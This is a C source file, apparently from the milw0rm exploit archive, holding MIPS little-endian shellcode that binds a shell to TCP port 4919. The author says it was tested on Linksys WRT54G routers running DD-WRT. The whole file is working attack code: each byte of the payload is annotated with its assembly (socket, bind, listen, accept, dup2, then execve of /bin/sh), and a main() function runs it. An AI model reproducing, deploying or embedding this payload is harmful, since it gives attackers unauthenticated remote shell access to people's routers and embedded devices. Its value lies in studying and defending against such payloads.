/* - MIPS little-endian
* - linux port listener 276 bytes shellcode
* - execve("/bin/sh",["/bin/sh"],[]);
* - port 0x1337 (4919)
* - tested on Linksys WRT54G/GL (DD-WRT Linux)
* - based on scut paper Writing MIPS/Irix shellcode
*
* vaicebine at gmail dot com
*/
#include <stdio.h>
char port_bind_shellcode[] =
"\xe0\xff\xbd\x27" /* addiu sp,sp,-32 */
"\xfd\xff\x0e\x24" /* li t6,-3 */
"\x27\x20\xc0\x01" /* nor a0,t6,zero */
"\x27\x28\xc0\x01" /* nor a1,t6,zero */
"\xff\xff\x06\x28" /* slti a2,zero,-1 */
"\x57\x10\x02\x24" /* li v0,4183 ( __NR_socket ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\xff\xff\x50\x30" /* andi s0,v0,0xffff */
"\xef\xff\x0e\x24" /* li t6,-17 */
"\x27\x70\xc0\x01" /* nor t6,t6,zero */
"\x13\x37\x0d\x24" /* li t5,0x3713 (port 0x1337) */
"\x04\x68\xcd\x01" /* sllv t5,t5,t6 */
"\xff\xfd\x0e\x24" /* li t6,-513 */
"\x27\x70\xc0\x01" /* nor t6,t6,zero */
"\x25\x68\xae\x01" /* or t5,t5,t6 */
"\xe0\xff\xad\xaf" /* sw t5,-32(sp) */
"\xe4\xff\xa0\xaf" /* sw zero,-28(sp) */
"\xe8\xff\xa0\xaf" /* sw zero,-24(sp) */
"\xec\xff\xa0\xaf" /* sw zero,-20(sp) */
"\x25\x20\x10\x02" /* or a0,s0,s0 */
"\xef\xff\x0e\x24" /* li t6,-17 */
"\x27\x30\xc0\x01" /* nor a2,t6,zero */
"\xe0\xff\xa5\x23" /* addi a1,sp,-32 */
"\x49\x10\x02\x24" /* li v0,4169 ( __NR_bind ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\x25\x20\x10\x02" /* or a0,s0,s0 */
"\x01\x01\x05\x24" /* li a1,257 */
"\x4e\x10\x02\x24" /* li v0,4174 ( __NR_listen ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\x25\x20\x10\x02" /* or a0,s0,s0 */
"\xff\xff\x05\x28" /* slti a1,zero,-1 */
"\xff\xff\x06\x28" /* slti a2,zero,-1 */
"\x48\x10\x02\x24" /* li v0,4168 ( __NR_accept ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\xff\xff\x50\x30" /* andi s0,v0,0xffff */
"\x25\x20\x10\x02" /* or a0,s0,s0 */
"\xfd\xff\x0f\x24" /* li t7,-3 */
"\x27\x28\xe0\x01" /* nor a1,t7,zero */
"\xdf\x0f\x02\x24" /* li v0,4063 ( __NR_dup2 ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\x25\x20\x10\x02" /* or a0,s0,s0 */
"\x01\x01\x05\x28" /* slti a1,zero,0x0101 */
"\xdf\x0f\x02\x24" /* li v0,4063 ( __NR_dup2 ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\x25\x20\x10\x02" /* or a0,s0,s0 */
"\xff\xff\x05\x28" /* slti a1,zero,-1 */
"\xdf\x0f\x02\x24" /* li v0,4063 ( __NR_dup2 ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\x50\x73\x06\x24" /* li a2,0x7350 */
"\xff\xff\xd0\x04" /* LB: bltzal a2,LB */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\xff\xff\x06\x28" /* slti a2,zero,-1 */
"\xdb\xff\x0f\x24" /* li t7,-37 */
"\x27\x78\xe0\x01" /* nor t7,t7,zero */
"\x21\x20\xef\x03" /* addu a0,ra,t7 */
"\xf0\xff\xa4\xaf" /* sw a0,-16(sp) */
"\xf4\xff\xa0\xaf" /* sw zero,-12(sp) */
"\xf0\xff\xa5\x23" /* addi a1,sp,-16 */
"\xab\x0f\x02\x24" /* li v0,4011 ( __NR_execve ) */
"\x0c\x01\x01\x01" /* syscall */
"/bin/sh";
int main()
{
void (*p)(void);
p = port_bind_shellcode;
printf("shellcode size %d\n", sizeof(port_bind_shellcode));
p();
return 0;
}
// milw0rm.com [2008-08-18]
